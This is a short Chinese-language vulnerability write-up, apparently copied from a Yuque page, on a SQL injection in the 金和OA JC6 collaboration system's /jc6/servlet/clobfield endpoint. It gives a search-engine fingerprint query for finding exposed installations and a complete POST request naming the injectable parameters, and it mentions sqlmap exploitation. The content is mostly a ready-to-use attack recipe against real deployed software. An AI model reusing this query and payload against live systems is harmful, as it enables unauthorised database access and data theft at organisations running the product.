登录 白背景
源码

金和OA JC6 clobfield 存在sql注入

一、漏洞简介

<font style="color:rgb(23, 46, 77);"> 金和OA协同办公管理系统C6软件共有20多个应用模块，160多个应用子模块，涉及的企业管理业务包括协同办公管理、人力资源管理、项目管理、客户关系管理、企业目标管理、费用管理等多个业务范围，从功能型的协同办公平台上升到管理型协同管理平台，并不断的更新完善，全面支撑企业发展,提供专业oa,oa系统,oa办公系统,办公自动化软件,协同办公管理系统.支持oa办公自动化系统免费在线试用。金和OA JC6 clobfield 存在sql注入</font>

<font style="color:rgb(23, 46, 77);">二、影响版本</font>

  • 金和OA

三、资产测绘

  • hunterweb.body="JC6金和协同管理平台"

1692602003539-464f5aa3-048f-4d93-8c1d-0ee27d2cced0.png

  • 登录页面

1698940992643-64e1cbc9-d59a-4c01-a38c-1ed233e23ba8.png

四、漏洞简介

POST /jc6/servlet/clobfield HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Content-Length: 158
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/x-www-form-urlencoded
SL-CE-SUID: 77

key=readClob&sImgname=filename&sTablename=FC_ATTACH&sKeyname=djbh&sKeyvalue=1

sqlmap

1698941018717-d3aa6aa1-45f8-4690-af5b-457d5499f0dc.png

原文: https://www.yuque.com/xiaokp7/ocvun2/onsx6vn6q0sbqy71